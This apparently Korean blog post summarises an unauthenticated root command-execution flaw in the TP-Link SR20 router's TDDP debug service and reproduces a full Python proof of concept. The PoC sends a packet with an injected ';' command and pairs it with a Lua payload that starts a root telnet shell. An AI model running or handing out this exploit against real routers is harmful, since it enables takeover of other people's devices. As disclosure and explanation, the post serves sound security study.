요약

- TR-Link SR20 스마트 홈 라우터 : 2016년 출시, 인증절차없이 Root 권한 명령 실행 가능

- 취약원인 : TP-장치, 디버그 프로토콜(TP-Device Debug Protocol,TDDP).  일부 type 1 명령어가 ‘노출’되어 있어 공격에 취약

                (root권한으로 TDDP가 실행되는 것과 관련해 많은 취약점이 발견된 바 있음. TDDP는 총 2가지의 명령으로 실       

                행 됨 - type 1: 인증 필요 없음, type 2: 관리자 계정 요구)

- 취약점 : 설정 검증과 관련된 type 1 명령어 0x1f, request 0x01을 이용해 공격자는 파일이름, 세미콜론(;), 인수를

              포함한 명령을 보내 공격 가능.

- 공격방법 : 

        (1) 공격자는 파일이름, 세미콜론(;)을 포함한 명령어를 보내 실행 가능.

 
        (2) 명령을 보낸 공격자 컴퓨터에 다시 연결해, 해당 파일명과 일치하는 파일을 TFTP(Trivial File Transfer Protocol)을       

            통해 다운 받기를 시도함. 


        (3) TDDP의 주요 프로세서는 파일이 나타날 때까지 최대 4초간 대기함. 


        (4) 파일이 나타나면, 초기화된 Lua 인터프리터에 파일을 로드하고, config 파일의 이름과 원격 주소를 config_test( )함수 

             의 인수로 호출함.


        (5) Config_test( )함수는 원격장비에서 다운로드 된 파일에 의해 제공되기 때문에, 비인가 공격자가 root권한으로           

            호스트에서 명령어를 실행하는 os.execute ( )메소드를 포함하는 인터프리터에 임의의 명령어를 실행할 수 있음.         

            TP-Link SR20 장비의 모든 통제가 가능함.

            (TDDP는 root권한으로 실행되기 때문에, 임의 명령어 실행 또한 root권한으로 행해짐.)


- 대응방안 : 현재 공식 패치는 공개되지 않음 


- 영향성 : tddp 데몬은 모든 인커밍 트래픽에 대한 모든 인터페이스를 수신하도록 설계 되어 있으나, SR20과 함께 제공되는     

             기본 방화벽 규칙이 장비가 속한 로컬 네티워크(LAN)이 아닌 외부에서의 공격을 모두 ‘차단’하도록 설정 되어있음.     

             원격 공격 가능성은 희박함.

 

관련 CVE정보

- 현재 없음
- PoC : https://pastebin.com/GAzccR95
#!/usr/bin/python3

# Create /testfile in your tftp root directory with the following contents:
#
#function config_test(config)
#  os.execute("telnetd -l /bin/login.sh")
#end
#
# Replace 192.168.0.1 with the IP address of the vulnerable device

import binascii
import socket

port_send = 1040
port_receive = 61000

tddp_ver = "01"
tddp_command = "31"
tddp_req = "01"
tddp_reply = "00"
tddp_padding = "%0.16X" % 00

tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])

sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_receive.bind(('', port_receive))

# Send a request
sock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
packet = binascii.unhexlify(tddp_packet)
packet = packet + b"/testfile;arbitrary"
print(packet)
sock_send.sendto(packet, ("192.168.0.1", port_send))
sock_send.close()

response, addr = sock_receive.recvfrom(1024)
r = response.encode('hex')
print(r)


참고자료

출처 : http://www.ehackingnews.com/2019/03/tp-links-sr20-smart-home-router.html?utm_source=dlvr.it&utm_medium=twitter
https://www.bleepingcomputer.com/news/security/zero-day-tp-link-sr20-router-vulnerability-disclosed-by-google-dev/

+ Recent posts